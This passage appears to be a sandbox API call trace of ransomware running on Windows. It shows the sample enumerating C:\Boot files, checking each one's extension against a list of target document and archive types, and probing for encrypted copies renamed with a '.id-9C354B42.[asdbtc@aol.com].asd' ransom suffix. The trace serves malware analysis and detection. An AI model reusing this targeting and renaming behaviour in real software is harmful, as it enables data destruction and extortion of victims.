(lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0040.503] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0040.503] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.503] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0040.503] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0040.503] lstrlenW (lpString=".doc") returned 4 [0040.503] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0040.503] lstrlenW (lpString=".docx") returned 5 [0040.503] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0040.503] lstrlenW (lpString=".pdf") returned 4 [0040.503] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0040.503] lstrlenW (lpString=".xls") returned 4 [0040.503] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0040.503] lstrlenW (lpString=".xlsx") returned 5 [0040.503] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0040.503] lstrlenW (lpString=".ppt") returned 4 [0040.503] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0040.503] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0040.503] lstrlenW (lpString=".zip") returned 4 [0040.503] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0040.503] lstrlenW (lpString=".rar") returned 4 [0040.503] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0040.504] lstrlenW (lpString=".bz2") returned 4 [0040.504] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0040.504] lstrlenW (lpString=".7z") returned 3 [0040.504] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0040.504] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0040.504] lstrlenW (lpString=".dbf") returned 4 [0040.504] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0040.504] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0040.504] lstrlenW (lpString=".1cd") returned 4 [0040.504] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0040.504] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0040.504] lstrlenW (lpString=".jpg") returned 4 [0040.504] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0040.504] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0040.504] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0040.504] lstrlenW (lpString=".doc") returned 4 [0040.504] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0040.504] lstrlenW (lpString=".docx") returned 5 [0040.504] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0040.504] lstrlenW (lpString=".pdf") returned 4 [0040.504] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0040.504] lstrlenW (lpString=".xls") returned 4 [0040.504] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0040.504] lstrlenW (lpString=".xlsx") returned 5 [0040.504] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0040.504] lstrlenW (lpString=".ppt") returned 4 [0040.504] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0040.504] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0040.505] lstrlenW (lpString=".zip") returned 4 [0040.505] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0040.505] lstrlenW (lpString=".rar") returned 4 [0040.505] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0040.505] lstrlenW (lpString=".bz2") returned 4 [0040.505] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0040.505] lstrlenW (lpString=".7z") returned 3 [0040.505] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0040.505] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0040.505] lstrlenW (lpString=".dbf") returned 4 [0040.505] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0040.505] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0040.505] lstrlenW (lpString=".1cd") returned 4 [0040.512] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0040.512] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0040.512] lstrlenW (lpString=".jpg") returned 4 [0040.512] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0040.512] lstrcmpiW (lpString1=".mui", lpString2=".asd") returned 1 [0040.513] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0040.513] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0040.513] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=91712) returned 1 [0040.513] CloseHandle (hObject=0x164) returned 1 [0040.513] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0040.513] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0040.513] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.513] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0040.513] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0040.513] lstrlenW (lpString=".doc") returned 4 [0040.514] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0040.514] lstrlenW (lpString=".docx") returned 5 [0040.514] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0040.514] lstrlenW (lpString=".pdf") returned 4 [0040.514] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0040.514] lstrlenW (lpString=".xls") returned 4 [0040.514] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0040.514] lstrlenW (lpString=".xlsx") returned 5 [0040.514] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0040.514] lstrlenW (lpString=".ppt") returned 4 [0040.514] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0040.514] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0040.514] lstrlenW (lpString=".zip") returned 4 [0040.514] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0040.514] lstrlenW (lpString=".rar") returned 4 [0040.514] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0040.514] lstrlenW (lpString=".bz2") returned 4 [0040.514] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0040.514] lstrlenW (lpString=".7z") returned 3 [0040.514] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0040.514] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0040.514] lstrlenW (lpString=".dbf") returned 4 [0040.514] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0040.514] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0040.514] lstrlenW (lpString=".1cd") returned 4 [0040.514] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0040.514] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0040.514] lstrlenW (lpString=".jpg") returned 4 [0040.515] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0040.515] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0040.515] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0040.515] lstrlenW (lpString=".doc") returned 4 [0040.515] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0040.515] lstrlenW (lpString=".docx") returned 5 [0040.515] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0040.515] lstrlenW (lpString=".pdf") returned 4 [0040.515] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0040.515] lstrlenW (lpString=".xls") returned 4 [0040.515] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0040.515] lstrlenW (lpString=".xlsx") returned 5 [0040.515] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0040.515] lstrlenW (lpString=".ppt") returned 4 [0040.515] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0040.515] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0040.515] lstrlenW (lpString=".zip") returned 4 [0040.515] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0040.515] lstrlenW (lpString=".rar") returned 4 [0040.515] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0040.515] lstrlenW (lpString=".bz2") returned 4 [0040.515] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0040.515] lstrlenW (lpString=".7z") returned 3 [0040.515] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0040.515] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0040.515] lstrlenW (lpString=".dbf") returned 4 [0040.515] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0040.516] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0040.516] lstrlenW (lpString=".1cd") returned 4 [0040.516] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0040.516] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0040.516] lstrlenW (lpString=".jpg") returned 4 [0040.516] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0040.516] lstrcmpiW (lpString1=".mui", lpString2=".asd") returned 1 [0040.516] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0040.516] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0040.516] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=94800) returned 1 [0040.516] CloseHandle (hObject=0x164) returned 1 [0040.516] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0040.516] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0040.517] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.517] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0040.517] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0040.517] lstrlenW (lpString=".doc") returned 4 [0040.517] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0040.517] lstrlenW (lpString=".docx") returned 5 [0040.517] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0040.517] lstrlenW (lpString=".pdf") returned 4 [0040.517] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0040.517] lstrlenW (lpString=".xls") returned 4 [0040.517] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0040.517] lstrlenW (lpString=".xlsx") returned 5 [0040.517] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0040.517] lstrlenW (lpString=".ppt") returned 4 [0040.517] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0040.517] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0040.517] lstrlenW (lpString=".zip") returned 4 [0040.517] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0040.517] lstrlenW (lpString=".rar") returned 4 [0040.517] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0040.517] lstrlenW (lpString=".bz2") returned 4 [0040.517] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0040.517] lstrlenW (lpString=".7z") returned 3 [0040.517] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0040.518] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0040.518] lstrlenW (lpString=".dbf") returned 4 [0040.518] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0040.518] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0040.518] lstrlenW (lpString=".1cd") returned 4 [0040.518] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0040.518] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0040.518] lstrlenW (lpString=".jpg") returned 4 [0040.518] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0040.518] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0040.518] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0040.518] lstrlenW (lpString=".doc") returned 4 [0040.518] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0040.518] lstrlenW (lpString=".docx") returned 5 [0040.518] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0040.518] lstrlenW (lpString=".pdf") returned 4 [0040.518] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0040.518] lstrlenW (lpString=".xls") returned 4 [0040.518] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0040.518] lstrlenW (lpString=".xlsx") returned 5 [0040.518] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0040.518] lstrlenW (lpString=".ppt") returned 4 [0040.518] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0040.518] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0040.518] lstrlenW (lpString=".zip") returned 4 [0040.518] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0040.518] lstrlenW (lpString=".rar") returned 4 [0040.519] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0040.519] lstrlenW (lpString=".bz2") returned 4 [0040.519] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0040.519] lstrlenW (lpString=".7z") returned 3 [0040.519] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0040.519] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0040.519] lstrlenW (lpString=".dbf") returned 4 [0040.519] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0040.519] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0040.519] lstrlenW (lpString=".1cd") returned 4 [0040.519] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0040.519] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0040.519] lstrlenW (lpString=".jpg") returned 4 [0040.519] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0040.519] lstrcmpiW (lpString1=".mui", lpString2=".asd") returned 1 [0040.519] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0040.519] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0040.521] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=85056) returned 1 [0040.521] CloseHandle (hObject=0x164) returned 1 [0040.521] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20 [0040.521] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0040.521] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.521] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0040.521] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0040.521] lstrlenW (lpString=".doc") returned 4 [0040.521] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0040.521] lstrlenW (lpString=".docx") returned 5 [0040.521] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0040.522] lstrlenW (lpString=".pdf") returned 4 [0040.522] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0040.522] lstrlenW (lpString=".xls") returned 4 [0040.522] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0040.522] lstrlenW (lpString=".xlsx") returned 5 [0040.522] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0040.522] lstrlenW (lpString=".ppt") returned 4 [0040.522] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0040.522] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0040.522] lstrlenW (lpString=".zip") returned 4 [0040.522] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0040.522] lstrlenW (lpString=".rar") returned 4 [0040.522] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0040.522] lstrlenW (lpString=".bz2") returned 4 [0040.522] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0040.522] lstrlenW (lpString=".7z") returned 3 [0040.522] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0040.522] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0040.522] lstrlenW (lpString=".dbf") returned 4 [0040.522] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0040.522] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0040.522] lstrlenW (lpString=".1cd") returned 4 [0040.522] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0040.522] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0040.522] lstrlenW (lpString=".jpg") returned 4 [0040.522] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0040.523] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0040.523] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0040.523] lstrlenW (lpString=".doc") returned 4 [0040.523] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0040.523] lstrlenW (lpString=".docx") returned 5 [0040.523] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0040.523] lstrlenW (lpString=".pdf") returned 4 [0040.523] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0040.523] lstrlenW (lpString=".xls") returned 4 [0040.523] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0040.523] lstrlenW (lpString=".xlsx") returned 5 [0040.523] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0040.523] lstrlenW (lpString=".ppt") returned 4 [0040.523] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0040.523] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0040.523] lstrlenW (lpString=".zip") returned 4 [0040.523] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0040.523] lstrlenW (lpString=".rar") returned 4 [0040.523] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0040.523] lstrlenW (lpString=".bz2") returned 4 [0040.523] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0040.523] lstrlenW (lpString=".7z") returned 3 [0040.523] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0040.523] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0040.523] lstrlenW (lpString=".dbf") returned 4 [0040.523] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0040.523] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0040.523] lstrlenW (lpString=".1cd") returned 4 [0040.523] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0040.523] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0040.524] lstrlenW (lpString=".jpg") returned 4 [0040.524] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0040.524] lstrcmpiW (lpString1=".mui", lpString2=".asd") returned 1 [0040.524] lstrlenW (lpString="memtest.exe.mui") returned 15 [0040.524] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0040.524] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=43600) returned 1 [0040.524] CloseHandle (hObject=0x164) returned 1 [0040.524] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20 [0040.524] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\boot\\en-us\\memtest.exe.mui.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0040.524] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.524] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0040.525] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0040.525] lstrlenW (lpString=".doc") returned 4 [0040.525] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0040.525] lstrlenW (lpString=".docx") returned 5 [0040.525] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0040.525] lstrlenW (lpString=".pdf") returned 4 [0040.525] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0040.525] lstrlenW (lpString=".xls") returned 4 [0040.525] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0040.525] lstrlenW (lpString=".xlsx") returned 5 [0040.525] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0040.525] lstrlenW (lpString=".ppt") returned 4 [0040.525] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0040.525] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0040.525] lstrlenW (lpString=".zip") returned 4 [0040.525] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0040.525] lstrlenW (lpString=".rar") returned 4 [0040.525] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0040.525] lstrlenW (lpString=".bz2") returned 4 [0040.525] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0040.525] lstrlenW (lpString=".7z") returned 3 [0040.525] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0040.525] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0040.525] lstrlenW (lpString=".dbf") returned 4 [0040.525] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0040.525] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0040.525] lstrlenW (lpString=".1cd") returned 4 [0040.525] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0040.525] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0040.526] lstrlenW (lpString=".jpg") returned 4 [0040.526] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0040.526] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0040.526] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0040.526] lstrlenW (lpString=".doc") returned 4 [0040.526] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0040.526] lstrlenW (lpString=".docx") returned 5 [0040.526] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0040.526] lstrlenW (lpString=".pdf") returned 4 [0040.526] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0040.526] lstrlenW (lpString=".xls") returned 4 [0040.526] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0040.526] lstrlenW (lpString=".xlsx") returned 5 [0040.526] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0040.526] lstrlenW (lpString=".ppt") returned 4 [0040.526] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0040.526] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0040.526] lstrlenW (lpString=".zip") returned 4 [0040.526] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0040.526] lstrlenW (lpString=".rar") returned 4 [0040.526] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0040.526] lstrlenW (lpString=".bz2") returned 4 [0040.526] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0040.526] lstrlenW (lpString=".7z") returned 3 [0040.526] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0040.526] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0040.526] lstrlenW (lpString=".dbf") returned 4 [0040.527] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0040.527] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0040.527] lstrlenW (lpString=".1cd") returned 4 [0040.527] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0040.527] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0040.527] lstrlenW (lpString=".jpg") returned 4 [0040.527] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0040.527] lstrcmpiW (lpString1=".mui", lpString2=".asd") returned 1 [0040.527] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0040.527] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0040.527] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=90192) returned 1 [0040.527] CloseHandle 